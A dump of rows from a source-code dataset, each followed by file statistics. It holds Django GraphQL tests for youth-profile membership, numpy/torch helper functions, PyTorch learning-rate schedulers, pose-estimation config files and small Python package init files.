"schoolName": youth_profile_data["school_name"],
"schoolClass": youth_profile_data["school_class"],
"languageAtHome": youth_profile_data["language_at_home"],
"approverEmail": youth_profile_data["approver_email"],
"approverPhone": youth_profile_data["approver_phone"],
"approverFirstName": youth_profile_data["approver_first_name"],
"approverLastName": youth_profile_data["approver_last_name"],
}
}
}
executed = staff_user_gql_client.execute(query, context=request)
assert executed["data"] == expected_data
def test_staff_user_cannot_create_youth_profile_if_profile_does_not_exist(
rf, staff_user_gql_client, mocker, profile_api_response
):
"""Creating a youth profile will query Helsinki profile for the given profile id."""
mocker.patch.object(ProfileAPI, "fetch_profile", return_value={"id": ""})
profile_id = from_global_id(profile_api_response["id"])[1]
profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id)
user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = user
today = date.today()
birth_date = today.replace(year=today.year - 13) - timedelta(days=1)
youth_profile_data = {
"birth_date": birth_date.strftime("%Y-%m-%d"),
"approver_email": "jane.doe@example.com",
}
t = Template(
"""
mutation {
createYouthProfile(
input: {
id: \"${id}\",
youthProfile: {
birthDate: \"${birth_date}\",
approverEmail: \"${approver_email}\",
}
profileApiToken: "token"
}
) {
youthProfile {
id
}
}
}
"""
)
query = t.substitute(
id=profile_global_id,
birth_date=youth_profile_data["birth_date"],
approver_email=youth_profile_data["approver_email"],
)
executed = staff_user_gql_client.execute(query, context=request)
assert (
executed["errors"][0].get("extensions").get("code")
== PROFILE_DOES_NOT_EXIST_ERROR
)
def test_staff_user_can_create_youth_profile_for_under_13_years_old(
rf, staff_user_gql_client, mocker, profile_api_response
):
mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response)
profile_id = from_global_id(profile_api_response["id"])[1]
profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id)
user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = user
today = date.today()
birth_date = today.replace(year=today.year - 13) + timedelta(days=1)
youth_profile_data = {
"id": profile_global_id,
"birth_date": birth_date.strftime("%Y-%m-%d"),
"approver_email": "jane.doe@example.com",
}
t = Template(
"""
mutation {
createYouthProfile(
input: {
id: \"${id}\",
youthProfile: {
birthDate: \"${birth_date}\",
approverEmail: \"${approver_email}\",
}
profileApiToken: "token"
}
) {
youthProfile {
id
birthDate
approverEmail
}
}
}
"""
)
query = t.substitute(**youth_profile_data)
expected_data = {
"createYouthProfile": {
"youthProfile": {
"id": youth_profile_data["id"],
"birthDate": youth_profile_data["birth_date"],
"approverEmail": youth_profile_data["approver_email"],
}
}
}
executed = staff_user_gql_client.execute(query, context=request)
assert executed["data"] == expected_data
def test_staff_user_creates_approved_profiles(
rf, staff_user_gql_client, mocker, profile_api_response
):
mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response)
profile_id = from_global_id(profile_api_response["id"])[1]
profile_global_id = to_global_id(type="YouthProfileNode", id=profile_id)
user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = user
today = date.today()
birth_date = today.replace(year=today.year - 13) - timedelta(days=1)
youth_profile_data = {
"id": profile_global_id,
"birth_date": birth_date.strftime("%Y-%m-%d"),
"school_name": "Koulu",
"school_class": "2B",
"language_at_home": YouthLanguage.ENGLISH.name,
"approver_first_name": "Jane",
"approver_last_name": "Doe",
"approver_phone": "040-1234567",
"approver_email": "jane.doe@example.com",
}
t = Template(
"""
mutation {
createYouthProfile(
input: {
id: \"${id}\",
youthProfile: {
birthDate: \"${birth_date}\",
schoolName: \"${school_name}\",
schoolClass: \"${school_class}\",
languageAtHome: ${language_at_home},
approverEmail: \"${approver_email}\",
approverPhone: \"${approver_phone}\",
approverFirstName: \"${approver_first_name}\",
approverLastName: \"${approver_last_name}\",
}
profileApiToken: "token"
}
) {
youthProfile {
id
}
}
}
"""
)
query = t.substitute(**youth_profile_data)
staff_user_gql_client.execute(query, context=request)
youth_profile = YouthProfile.objects.get(pk=profile_id)
assert youth_profile.approved_time is not None
assert youth_profile.membership_status == MembershipStatus.ACTIVE
def test_normal_user_cannot_use_create_youth_profile_mutation(
rf, user_gql_client, mocker, profile_api_response
):
mocker.patch.object(ProfileAPI, "fetch_profile", return_value=profile_api_response)
profile_id = from_global_id(profile_api_response["id"])[1]
user = user_gql_client.user
request = rf.post("/graphql")
request.user = user
today = date.today()
birth_date = today.replace(year=today.year - 13) - timedelta(days=1)
youth_profile_data = {
"id": to_global_id(type="YouthProfileNode", id=profile_id),
"birth_date": birth_date.strftime("%Y-%m-%d"),
"approver_email": "jane.doe@example.com",
}
t = Template(
"""
mutation {
createYouthProfile(
input: {
id: \"${id}\",
youthProfile: {
birthDate: \"${birth_date}\",
approverEmail: \"${approver_email}\",
}
profileApiToken: "token"
}
) {
youthProfile {
id
birthDate
approverEmail
}
}
}
"""
)
query = t.substitute(**youth_profile_data)
executed = user_gql_client.execute(query, context=request)
assert (
executed["errors"][0].get("extensions").get("code") == PERMISSION_DENIED_ERROR
)
def test_staff_user_can_cancel_youth_membership_on_selected_date(
rf, staff_user_gql_client, youth_profile
):
user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = user
today = date.today()
expiration_date = today + timedelta(days=1)
youth_profile_data = {
"id": to_global_id(type="YouthProfileNode", id=youth_profile.pk),
"expiration": expiration_date.strftime("%Y-%m-%d"),
}
t = Template(
"""
mutation {
cancelYouthProfile(
input: {
id: \"${id}\",
expiration: \"${expiration}\"
}
) {
youthProfile {
expiration
}
}
}
"""
)
query = t.substitute(**youth_profile_data)
expected_data = {
"cancelYouthProfile": {
"youthProfile": {"expiration": youth_profile_data["expiration"]}
}
}
executed = staff_user_gql_client.execute(query, context=request)
assert executed["data"] == expected_data
def test_staff_user_can_cancel_youth_membership_now(
rf, staff_user_gql_client, youth_profile
):
user = staff_user_gql_client.user
request = rf.post("/graphql")
request.user = user
t = Template(
"""
mutation {
cancelYouthProfile(
input: {
id: \"${id}\",
}
) {
youthProfile {
expiration
}
}
}
"""
)
query = t.substitute(id=to_global_id(type="YouthProfileNode", id=youth_profile.pk))
expected_data = {
"cancelYouthProfile": {
"youthProfile": {"expiration": date.today().strftime("%Y-%m-%d")}
}
}
executed = staff_user_gql_client.execute(query, context=request)
assert executed["data"] == expected_data
def test_normal_user_can_cancel_youth_membership(rf, user_gql_client):
request = rf.post("/graphql")
request.user = user_gql_client.user
YouthProfileFactory(user=user_gql_client.user, approved_time=datetime.now())
today = date.today()
expiration = today - timedelta(days=1)
expiration_string = expiration.strftime("%Y-%m-%d")
t = Template(
"""
mutation{
cancelMyYouthProfile(
input: {
expiration: \"${expiration}\"
}
)
{
youthProfile {
expiration
membershipStatus
}
}
}
"""
)
query = t.substitute(expiration=expiration_string)
expected_data = {
"youthProfile": {"expiration": expiration_string, "membershipStatus": "EXPIRED"}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["cancelMyYouthProfile"]) == expected_data
def test_normal_user_can_cancel_youth_membership_now(rf, user_gql_client):
"""YouthProfile is ACTIVE on the expiration day, EXPIRED on the day after it."""
request = rf.post("/graphql")
request.user = user_gql_client.user
yp = YouthProfileFactory(user=user_gql_client.user, approved_time=datetime.now())
query = """
mutation{
cancelMyYouthProfile(
input: {}
)
{
youthProfile {
expiration
membershipStatus
}
}
}
"""
expected_data = {
"youthProfile": {
"expiration": date.today().strftime("%Y-%m-%d"),
"membershipStatus": "ACTIVE",
}
}
executed = user_gql_client.execute(query, context=request)
assert dict(executed["data"]["cancelMyYouthProfile"]) == expected_data
yp.refresh_from_db()
assert yp.membership_status == MembershipStatus.ACTIVE
with freeze_time(datetime.now() + timedelta(days=1)):
yp.refresh_from_db()
assert yp.membership_status == MembershipStatus.EXPIRED
| 31.947826 | 116 | 0.56338 | 4,647 | 51,436 | 5.918227 | 0.061975 | 0.029525 | 0.054832 | 0.028434 | 0.85252 | 0.814632 | 0.794597 | 0.769399 | 0.730201 | 0.702749 | 0 | 0.009222 | 0.335893 | 51,436 | 1,609 | 117 | 31.967682 | 0.795896 | 0.016409 | 0 | 0.651366 | 0 | 0 | 0.180018 | 0.022471 | 0 | 0 | 0 | 0 | 0.06776 | 1 | 0.034973 | false | 0 | 0.015301 | 0 | 0.050273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dc5b669eb143eeabad93a06f00e87909b7763567 | 30 | py | Python | hypothesis/engine/__init__.py | boyali/hypothesis-sre | f44d25eb281d49663d49d134ee73ad542849714b | [
"BSD-3-Clause"
] | 45 | 2019-02-13T14:16:35.000Z | 2022-02-23T21:30:02.000Z | hypothesis/engine/__init__.py | boyali/hypothesis-sre | f44d25eb281d49663d49d134ee73ad542849714b | [
"BSD-3-Clause"
] | 1 | 2020-01-13T08:29:50.000Z | 2020-01-22T10:28:02.000Z | hypothesis/engine/__init__.py | boyali/hypothesis-sre | f44d25eb281d49663d49d134ee73ad542849714b | [
"BSD-3-Clause"
] | 8 | 2019-04-23T14:25:08.000Z | 2021-07-28T15:05:31.000Z | from .engine import Procedure
| 15 | 29 | 0.833333 | 4 | 30 | 6.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 30 | 1 | 30 | 30 | 0.961538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dc82edf66b1c2fe5f96fa01d770bcd8c32982271 | 2,511 | py | Python | code/utils/misc.py | niuwk/infonets | 274e97c9a86144dd52cbe90caffff578a2f5d178 | [
"BSD-3-Clause"
] | 8 | 2018-06-20T23:20:43.000Z | 2020-01-12T01:32:06.000Z | code/utils/misc.py | niuwk/infonets | 274e97c9a86144dd52cbe90caffff578a2f5d178 | [
"BSD-3-Clause"
] | null | null | null | code/utils/misc.py | niuwk/infonets | 274e97c9a86144dd52cbe90caffff578a2f5d178 | [
"BSD-3-Clause"
] | 4 | 2018-06-26T20:28:13.000Z | 2021-06-17T13:39:56.000Z | # misc.py
"""
Created on Tue Jun 5 00:21:24 2018
@author: Wentao Huang
"""
from __future__ import absolute_import, division, print_function
#import ipdb
import numpy as np
import torch as tc
def get_b_beta_by_n_sgd(n=1, xmax=1.0e+4, Nx=1e+6, to_tensor=True, dtype=tc.float):
b = np.log(1.0*n)
x = np.linspace(-xmax, xmax, int(Nx))
y0 = 1.0/(1.0 + np.exp(-x - b))
y0 = n*(y0**n)*(1.0 - y0)
v = np.trapz(y0, x)
y0 = (x**2)*y0
s = np.trapz(y0, x)
beta = np.sqrt(s/v)
if to_tensor:
b = tc.tensor(b,dtype=dtype)
beta = tc.tensor(beta,dtype=dtype)
return b, beta
def get_b_beta_by_tanh(xmax=1.0e+4, Nx=1e+6, to_tensor=True, dtype=tc.float):
b = 0.0
x = np.linspace(-xmax, xmax, int(Nx))
y0 = 1.0 - np.tanh(x)**2
v = np.trapz(y0, x)
y0 = (x**2)*y0
s = np.trapz(y0, x)
beta = np.sqrt(s/v)
if to_tensor:
b = tc.tensor(b,dtype=dtype)
beta = tc.tensor(beta,dtype=dtype)
return b, beta
def get_b_gamma_by_ReLU_margin(margin=1.0, xmax=1.0e+4, Nx=1e+6,
to_tensor=True, dtype=tc.float):
b = 0.0
xm = 2.0 + np.exp(-margin)
x = np.linspace(-xmax, xm, Nx)
y0 = 1.0/(1.0 + np.exp(-x+margin))
v = np.trapz(y0, x)
y0 = (x**2)*y0
s = np.trapz(y0, x)
gamma = np.sqrt(s/v)# =1.52
if to_tensor:
b = tc.tensor(b,dtype=dtype)
gamma = tc.tensor(gamma,dtype=dtype)
return b, gamma
def get_b_gamma_by_ReLU_margin_1(margin=1.0, gamma=2.22, xmax=1.0e+4,
Nx=1e+6, to_tensor=True, dtype=tc.float):
b = 0.0
x = np.linspace(-xmax, xmax, Nx)
y0 = 1.0/((1.0 + np.exp(-x+margin*gamma))*(1.0 + np.exp(x+margin*gamma)))
v = np.trapz(y0, x)
y0 = (x**2)*y0
s = np.trapz(y0, x)
gamma = np.sqrt(s/(v ))
if to_tensor:
b = tc.tensor(b,dtype=dtype)
gamma = tc.tensor(gamma,dtype=dtype)
return b, gamma
def get_b_gamma_by_ReLU_margin_2(margin=1.0, gamma=2.22, maxiters=10, xmax=1.0e+4,
Nx=1e+6, to_tensor=True, dtype=tc.float):
b, gamma = get_b_gamma_by_ReLU_margin_1(margin=margin, gamma=gamma, xmax=xmax,
Nx=Nx, to_tensor=to_tensor, dtype=to_tensor)
for i in np.arange(maxiters):
b, gamma = get_b_gamma_by_ReLU_margin_1(margin=margin, gamma=gamma, xmax=xmax,
Nx=Nx,to_tensor=to_tensor, dtype=to_tensor)
return b, gamma
| 31.78481 | 91 | 0.563521 | 455 | 2,511 | 2.98022 | 0.16044 | 0.088496 | 0.053097 | 0.058997 | 0.804572 | 0.79056 | 0.771386 | 0.74115 | 0.735988 | 0.730089 | 0 | 0.062706 | 0.275986 | 2,511 | 78 | 92 | 32.192308 | 0.683168 | 0.033453 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.079365 | false | 0 | 0.047619 | 0 | 0.206349 | 0.015873 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dcb93c67e64dc292886c5c460b15e0b8b9dcf46b | 87 | py | Python | app/rest/__init__.py | AlvinCJin/deepfit-webapp | b5a391bd96498481aecdcf9077e9ad1af5b5d28a | [
"BSD-3-Clause"
] | 10 | 2018-02-10T14:12:08.000Z | 2020-11-01T16:48:52.000Z | app/rest/__init__.py | AlvinCJin/deepfit-webapp | b5a391bd96498481aecdcf9077e9ad1af5b5d28a | [
"BSD-3-Clause"
] | 1 | 2018-10-18T23:05:28.000Z | 2018-10-18T23:05:28.000Z | app/rest/__init__.py | AlvinCJin/deepfit-webapp | b5a391bd96498481aecdcf9077e9ad1af5b5d28a | [
"BSD-3-Clause"
] | 1 | 2017-11-01T13:46:08.000Z | 2017-11-01T13:46:08.000Z | from flask import Blueprint
rest_bp = Blueprint('rest', __name__)
from . import tasks | 17.4 | 37 | 0.770115 | 12 | 87 | 5.166667 | 0.666667 | 0.419355 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.149425 | 87 | 5 | 38 | 17.4 | 0.837838 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
f4d5eeadde20b199c89bb55f709b82d6023aa8c2 | 10,143 | py | Python | torchlib/optim/lr_scheduler.py | antsfamily/torchtool | fd0d6e6fe6701206b15f95af145d6178a87233f9 | [
"MIT"
] | 1 | 2019-08-15T15:32:36.000Z | 2019-08-15T15:32:36.000Z | torchlib/optim/lr_scheduler.py | antsfamily/torchtool | fd0d6e6fe6701206b15f95af145d6178a87233f9 | [
"MIT"
] | null | null | null | torchlib/optim/lr_scheduler.py | antsfamily/torchtool | fd0d6e6fe6701206b15f95af145d6178a87233f9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 220-07-24 18:29:48
# @Author : Zhi Liu (zhiliu.mind@gmail.com)
# @Link : http://iridescent.ink
# @Version : $1.0$
import math
import torch as th
class DoubleGaussianKernelLR(th.optim.lr_scheduler._LRScheduler):
r"""DoubleGaussianKernelLR
Set the learning rate of each parameter group using a double gaussian kernel schedule
.. image:: ./_static/GaussianLREquation.png
:scale: 50 %
:align: center
where :math:`\eta_{max}` is set to the initial lr and
:math:`T_{cur}` is the number of epochs since the last restart in SGDR:
When last_epoch=-1, sets initial lr as lr. Notice that because the schedule
is defined recursively, the learning rate can be simultaneously modified
outside this scheduler by other operators.
The maximum learning rate are the base learning rate setted in Optimizer.
Parameters
----------
optimizer : Optimizer
Wrapped optimizer.
t_eta_max : int
Iterations when the learning rate reach to the maximum value :math:`\eta_{\max}`.
sigma1 : int
Controls the shape of warming up phase.
sigma2 : int
Controls the shape of annealing phase.
eta_start : float
Starting learning rate. Default: 0.
eta_stop : float
Stopping learning rate. Default: 0.
last_epoch : int
The index of last epoch. Default: -1.
Examples
---------
.. image:: ./_static/DoubleGaussianKernelLR.png
:scale: 50 %
:align: center
The results shown in the above figure can be obtained by the following codes.
::
import torch as th
import torchlib as tl
import matplotlib; matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
lr = 1e-1
lr = 1e-2
# lr = 1e2
num_epochs = 1000
num_epochs = 500
batch_size = 8
num_batch = 750
params = {th.nn.parameter.Parameter(th.zeros(128), requires_grad=True),
th.nn.parameter.Parameter(th.zeros(128), requires_grad=True),
}
optimizer = th.optim.Adam(params, lr=lr)
# optimizer = th.optim.SGD(params, lr=lr, momentum=0.9)
scheduler = tl.optim.lr_scheduler.DoubleGaussianKernelLR(optimizer, t_eta_max=50, sigma1=15, sigma2=100, eta_start=1e-4, eta_stop=1e-3, last_epoch=-1)
print(optimizer)
lrs = []
for n in range(num_epochs):
for b in range(num_batch):
optimizer.step()
# lrs.append(optimizer.param_groups[0]['lr'])
scheduler.step()
lrs.append(optimizer.param_groups[0]['lr'])
plt.figure()
plt.plot(lrs)
plt.xlabel('Iteration')
plt.ylabel('Learning rate')
plt.grid()
plt.show()
"""
def __init__(self, optimizer, t_eta_max, sigma1, sigma2, eta_start=1e-6, eta_stop=1e-5, last_epoch=-1):
self.sigma1 = sigma1
self.sigma2 = sigma2
self.t_eta_max = t_eta_max
self.eta_start = eta_start
self.eta_stop = eta_stop
# self.eta_max = eta_max # base lr
super(DoubleGaussianKernelLR, self).__init__(optimizer, last_epoch)
def get_lr(self):
if not self._get_lr_called_within_step:
warnings.warn("To get the last learning rate computed by the scheduler, "
"please use `get_last_lr()`.", UserWarning)
if self.last_epoch == 0:
return [self.eta_start for base_lr in self.base_lrs]
elif self.last_epoch < self.t_eta_max:
return [group['lr'] + (base_lr - self.eta_start) * (math.exp(-(self.last_epoch + 1 - self.t_eta_max)**2 / 2. / (self.sigma1**2)) - math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma1**2)))
for base_lr, group in
zip(self.base_lrs, self.optimizer.param_groups)]
return [group['lr'] + (base_lr - self.eta_stop) * (math.exp(-(self.last_epoch + 1 - self.t_eta_max)**2 / 2. / (self.sigma2**2)) - math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma2**2)))
for base_lr, group in
zip(self.base_lrs, self.optimizer.param_groups)]
def _get_closed_form_lr(self):
if self.last_epoch < self.t_eta_max:
return [(base_lr - self.eta_start) * math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma1**2)) + self.eta_start
for base_lr in self.base_lrs]
else:
return [(base_lr - self.eta_stop) * math.exp(-(self.last_epoch - self.t_eta_max)**2 / 2. / (self.sigma2**2)) + self.eta_stop
for base_lr in self.base_lrs]
class MountainLR(th.optim.lr_scheduler._LRScheduler):
r"""MountainLR
Set the learning rate of each parameter group using a double gaussian kernel
.. math::
(|x-P| / N) .* (-2 + cos(2 * (x-P) / T))
schedule, where :math:`\eta_{max}` is set to the initial lr and
:math:`T_{cur}` is the number of epochs since the last restart in SGDR:
When last_epoch=-1, sets initial lr as lr. Notice that because the schedule
is defined recursively, the learning rate can be simultaneously modified
outside this scheduler by other operators.
The maximum learning rate are the base learning rate setted in Optimizer.
Parameters
----------
optimizer : Optimizer
Wrapped optimizer.
t_eta_max : int
Iterations when the learning rate reach to the maximum value :math:`\eta_{\max}`.
sigma1 : int
Controls the shape of warming up phase.
sigma2 : int
Controls the shape of annealing phase.
eta_start : float
Starting learning rate. Default: 0.
eta_stop : float
Stopping learning rate. Default: 0.
last_epoch : int
The index of last epoch. Default: -1.
Examples
---------
.. image:: ./_static/MountainLR.png
:scale: 50 %
:align: center
The results shown in the above figure can be obtained by the following codes.
::
import torch as th
import torchlib as tl
import matplotlib; matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
lr = 1e-1
lr = 1e-2
# lr = 1e2
num_epochs = 1000
num_epochs = 500
batch_size = 8
num_batch = 750
params = {th.nn.parameter.Parameter(th.zeros(128), requires_grad=True),
th.nn.parameter.Parameter(th.zeros(128), requires_grad=True),
}
optimizer = th.optim.Adam(params, lr=lr)
scheduler = tl.optim.lr_scheduler.MountainLR(optimizer, total_epoch=num_epochs, peak_epoch=300, period_epoch=50, last_epoch=-1)
print(optimizer)
lrs = []
for n in range(num_epochs):
for b in range(num_batch):
optimizer.step()
# lrs.append(optimizer.param_groups[0]['lr'])
scheduler.step()
lrs.append(optimizer.param_groups[0]['lr'])
plt.figure()
plt.plot(lrs)
plt.xlabel('Iteration')
plt.ylabel('Learning rate')
plt.grid()
plt.show()
"""
def __init__(self, optimizer, total_epoch, peak_epoch, period_epoch, last_epoch=-1):
self.total_epoch = total_epoch
self.peak_epoch = peak_epoch
self.period_epoch = period_epoch
super(MountainLR, self).__init__(optimizer, last_epoch)
def get_lr(self):
if not self._get_lr_called_within_step:
warnings.warn("To get the last learning rate computed by the scheduler, "
"please use `get_last_lr()`.", UserWarning)
if self.last_epoch == 0:
lr = 10.**((self.peak_epoch * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (-self.peak_epoch) / self.period_epoch)))
return [base_lr * lr for base_lr in self.base_lrs]
lr = 10.**((abs(self.last_epoch + 1 - self.peak_epoch) * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (self.last_epoch + 1 - self.peak_epoch) / self.period_epoch))) - 10.**((abs(self.last_epoch - self.peak_epoch) * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (self.last_epoch - self.peak_epoch) / self.period_epoch)))
return [group['lr'] + base_lr * lr
for base_lr, group in
zip(self.base_lrs, self.optimizer.param_groups)]
def _get_closed_form_lr(self):
lr = 10.**((abs(self.last_epoch - self.peak_epoch) * 1. / self.total_epoch) * (-2. + math.cos(2 * math.pi * (self.last_epoch - self.peak_epoch) / self.period_epoch)))
return [base_lr * lr for base_lr in self.base_lrs]
if __name__ == '__main__':
import torch as th
import torchlib as tl
import matplotlib; matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
lr = 1e-1
lr = 1e-2
# lr = 1e2
num_epochs = 1000
num_epochs = 500
batch_size = 8
num_batch = 750
params = {th.nn.parameter.Parameter(th.zeros(128), requires_grad=True),
th.nn.parameter.Parameter(th.zeros(128), requires_grad=True),
}
optimizer = th.optim.Adam(params, lr=lr)
# optimizer = th.optim.SGD(params, lr=lr, momentum=0.9)
# scheduler = tl.optim.lr_scheduler.DoubleGaussianKernelLR(optimizer, t_eta_max=80, sigma1=15, sigma2=200, eta_start=1e-4, eta_stop=1e-5, last_epoch=-1)
# scheduler = tl.optim.lr_scheduler.DoubleGaussianKernelLR(optimizer, t_eta_max=50, sigma1=15, sigma2=100, eta_start=1e-4, eta_stop=1e-3, last_epoch=-1)
scheduler = tl.optim.lr_scheduler.MountainLR(optimizer, total_epoch=num_epochs, peak_epoch=300, period_epoch=50, last_epoch=-1)
print(optimizer)
lrs = []
for n in range(num_epochs):
for b in range(num_batch):
optimizer.step()
# lrs.append(optimizer.param_groups[0]['lr'])
scheduler.step()
lrs.append(optimizer.param_groups[0]['lr'])
plt.figure()
plt.plot(lrs)
plt.xlabel('Iteration')
plt.ylabel('Learning rate')
plt.grid()
plt.show()
| 34.85567 | 346 | 0.617766 | 1,403 | 10,143 | 4.294369 | 0.15253 | 0.046307 | 0.018589 | 0.028216 | 0.899917 | 0.886971 | 0.871701 | 0.853278 | 0.84166 | 0.839668 | 0 | 0.030978 | 0.264813 | 10,143 | 290 | 347 | 34.975862 | 0.776988 | 0.502514 | 0 | 0.296296 | 0 | 0 | 0.046858 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074074 | false | 0 | 0.074074 | 0 | 0.271605 | 0.012346 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
521ae0acd024787a445242ec2ae29ff228e23acf | 351 | py | Python | configs/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_04_05TomatoSoupCan.py | THU-DA-6D-Pose-Group/self6dpp | c267cfa55e440e212136a5e9940598720fa21d16 | [
"Apache-2.0"
] | 33 | 2021-12-15T07:11:47.000Z | 2022-03-29T08:58:32.000Z | configs/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_04_05TomatoSoupCan.py | THU-DA-6D-Pose-Group/self6dpp | c267cfa55e440e212136a5e9940598720fa21d16 | [
"Apache-2.0"
] | 3 | 2021-12-15T11:39:54.000Z | 2022-03-29T07:24:23.000Z | configs/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_04_05TomatoSoupCan.py | THU-DA-6D-Pose-Group/self6dpp | c267cfa55e440e212136a5e9940598720fa21d16 | [
"Apache-2.0"
] | null | null | null | _base_ = "./FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_Pbr_01_02MasterChefCan.py"
OUTPUT_DIR = "output/deepim/ycbvPbrSO/FlowNet512_1.5AugCosyAAEGray_NoiseRandom_AggressiveR_ClipGrad_fxfy1_Dtw01_LogDz_PM10_Flat_ycbvPbr_SO/04_05TomatoSoupCan"
DATASETS = dict(TRAIN=("ycbv_005_tomato_soup_can_train_pbr",))
| 87.75 | 158 | 0.905983 | 46 | 351 | 6.195652 | 0.695652 | 0.077193 | 0.182456 | 0.259649 | 0.554386 | 0.554386 | 0.554386 | 0.554386 | 0.554386 | 0.554386 | 0 | 0.090643 | 0.025641 | 351 | 3 | 159 | 117 | 0.74269 | 0 | 0 | 0 | 0 | 0 | 0.837607 | 0.837607 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
521ce1e075f098aac5ed137919da57d152d149df | 171 | py | Python | pyhaystack/client/__init__.py | lixs74/pyhaystack | e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb | [
"Apache-2.0"
] | 1 | 2018-03-04T05:26:46.000Z | 2018-03-04T05:26:46.000Z | pyhaystack/client/__init__.py | lixs74/pyhaystack | e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb | [
"Apache-2.0"
] | null | null | null | pyhaystack/client/__init__.py | lixs74/pyhaystack | e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb | [
"Apache-2.0"
] | null | null | null | #!python
# -*- coding: utf-8 -*-
"""
Haystack Client interface
"""
from .loader import get_implementation, get_instance
__all__ = ['get_implementation', 'get_instance']
